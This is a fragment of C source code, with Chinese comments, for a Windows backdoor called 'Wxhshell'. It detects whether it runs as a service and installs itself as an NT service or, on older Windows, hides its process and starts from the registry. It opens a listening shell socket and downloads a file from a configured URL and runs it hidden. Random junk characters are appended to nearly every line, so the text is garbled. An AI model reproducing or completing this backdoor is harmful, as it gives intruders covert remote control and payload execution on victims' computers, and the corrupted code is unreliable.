ULONG InheritedFromUniqueProcessId; q.<)0nk
} PROCESS_BASIC_INFORMATION; /P-#y@I
9D &vxKE
PROCNTQSIP NtQueryInformationProcess; *59|
*/JYP +
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; z .\r7
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _;0RW
CS(XN>N
HANDLE hProcess; 6FJ*eWPC
PROCESS_BASIC_INFORMATION pbi; ,\X! :y~
2z"<m2a
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q5S_B]|
if(NULL == hInst ) return 0;
Qe7=6<
mR1b.$
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); SUIJ{!F/
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0:n"A,-p
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "f<gZsb
? %8%1d
if (!NtQueryInformationProcess) return 0; \.oJ/++
5M~+F"Hl
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,?Ie!r$6
if(!hProcess) return 0; l5=ih9u
wkPjMmW+!
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; CbW[_\
s3m\
CloseHandle(hProcess); |c8\alw
+c!HXX
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); SPRTJdaC9
if(hProcess==NULL) return 0; LC##em=Y
J)yg<*/3
HMODULE hMod; 2}XRqa.|
char procName[255]; 8m=R"
%h
unsigned long cbNeeded; [ `1`E1X
}aVzr}!
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lwgwdB
E:M,nSc)53
CloseHandle(hProcess); ]\ !ka/%
/*>}y$
if(strstr(procName,"services")) return 1; // 以服务启动 YmFg#eS
t:V._@
return 0; // 注册表启动 0G-obHe0
} iZiT/#, H2
EI*~VFx
// 主模块 P
qC#[0Qy
int StartWxhshell(LPSTR lpCmdLine) +jZa A/
{ ?<^8,H
SOCKET wsl; d/F^ez
BOOL val=TRUE; m,t{D,
2
int port=0; j;b>~_ U%
struct sockaddr_in door; ~E((n
_aOs8#(X
if(wscfg.ws_autoins) Install(); ^'`(E_2u
LxGD=b
port=atoi(lpCmdLine); kvbW^pl
T[xIn+w
if(port<=0) port=wscfg.ws_port; @VW1^{.do^
AZ4?N.X?
WSADATA data; 7gV9m9 #
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -C(Yl=
iX{2U lF7
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ~Gmt,l!b
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,j`48S@
door.sin_family = AF_INET; )92(C
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 4H,c;g=!
door.sin_port = htons(port); D@9 +yu=S
h%$^s0w
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1goRO
closesocket(wsl); H[nBNz)C
return 1; z9OpMA
} _0gdt4
4G' E<ab
if(listen(wsl,2) == INVALID_SOCKET) { jUNt4
closesocket(wsl); {wA8!5Gu
return 1; 41d+z>a]
} <yX u!
Wxhshell(wsl); wMN{ 9Ce3j
WSACleanup(); 'dh{q`#0
Ns1n|^9
return 0; et~D9='E
K-\wx5#l/
} b?KdR5
)\:IRr"
// 以NT服务方式启动 T:'JA
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5yK#;!:h
{ d9U)O6=
DWORD status = 0; k ZF<~U
DWORD specificError = 0xfffffff; CUG"2K9
/bo=,%wJ[
serviceStatus.dwServiceType = SERVICE_WIN32; ;A@DE@^5w
serviceStatus.dwCurrentState = SERVICE_START_PENDING; F.aG7
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; N0^SWA|S
serviceStatus.dwWin32ExitCode = 0; jlF3LK)9q
serviceStatus.dwServiceSpecificExitCode = 0; }riM-
serviceStatus.dwCheckPoint = 0; G%l')e)9Gq
serviceStatus.dwWaitHint = 0; r9N?z2X
Cj4Y, N
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k
Qr
if (hServiceStatusHandle==0) return; kO*\JaD
'6){~ee
S
status = GetLastError(); Ck !"MK4
if (status!=NO_ERROR) =`|BofR
{ Gv dok<o
serviceStatus.dwCurrentState = SERVICE_STOPPED; @ewi96
serviceStatus.dwCheckPoint = 0;
X)iI]
serviceStatus.dwWaitHint = 0; #"!ga)a%L
serviceStatus.dwWin32ExitCode = status; Q<D_QJ
serviceStatus.dwServiceSpecificExitCode = specificError; wGT>Xh!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); gt.F[q3
return; ;>6~}lMgJ
} wE=I3E %
f&^"[S"\f
serviceStatus.dwCurrentState = SERVICE_RUNNING; n!~ $Z/
serviceStatus.dwCheckPoint = 0; 8]vut{
serviceStatus.dwWaitHint = 0; 4XVwi<)
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9#hp]0S6
} |y0k}ed
tw<Oy^i
// 处理NT服务事件,比如:启动、停止 j #:
ARb
VOID WINAPI NTServiceHandler(DWORD fdwControl) p6BDhT(RS
{ xFThs,w
switch(fdwControl) i ?M-~EKu
{ n.'Ps+G(
case SERVICE_CONTROL_STOP: fa/o4S<
serviceStatus.dwWin32ExitCode = 0; ^{=UKf{
serviceStatus.dwCurrentState = SERVICE_STOPPED; V[*>}XQER
serviceStatus.dwCheckPoint = 0; =8`KGeP$
serviceStatus.dwWaitHint = 0; "62g!e}!c
{ .5s58Hcg,
SetServiceStatus(hServiceStatusHandle, &serviceStatus); D]"W|.6@
} Da8gOZ
return; Xp06sl7 M
case SERVICE_CONTROL_PAUSE: ic!% } S?
serviceStatus.dwCurrentState = SERVICE_PAUSED; 4[kyzz x
break; N;-%:nC
case SERVICE_CONTROL_CONTINUE: 8LPWT! S
serviceStatus.dwCurrentState = SERVICE_RUNNING; %B#T"=Cx
break; 1QD49)
case SERVICE_CONTROL_INTERROGATE: 6XZjZ*)W
break; H{N},B
}; XY? Cl
SetServiceStatus(hServiceStatusHandle, &serviceStatus); fB7Jx6
} MS#*3Md&y
FCwE/ 2,
// 标准应用程序主函数 yevJA?C4 v
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iJoYxx
{ `<v$+mG
Z}vDP^rf
// 获取操作系统版本
Pvt!G
OsIsNt=GetOsVer(); &v;fK$=2C
GetModuleFileName(NULL,ExeFile,MAX_PATH); BGj!/E
T_UJ?W
// 从命令行安装 pi#a!Quf\
if(strpbrk(lpCmdLine,"iI")) Install(); u0=&_Q(=
R6Md_t\
// 下载执行文件 Vrlqje_Q
if(wscfg.ws_downexe) { OS<GAA0
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 6m]?*k1HC
WinExec(wscfg.ws_filenam,SW_HIDE); w[3a^
} ~&ns?z>x
/E\04Bs
if(!OsIsNt) { k+"7hf=C|
// 如果时win9x,隐藏进程并且设置为注册表启动 rf]z5;
HideProc(); ' ,]Aj!q
StartWxhshell(lpCmdLine); L'KKU4zj
} p&<n_b
else ZDp^k{AN9a
if(StartFromService()) D8~\*0->
// 以服务方式启动 )h0>e9z>Y
StartServiceCtrlDispatcher(DispatchTable); z<fd!g+^
else [$d]U.
// 普通方式启动 d&|5Rk
~
StartWxhshell(lpCmdLine); 4 Cd5-I
7_j t =sr
return 0; <{;'0> ToM
}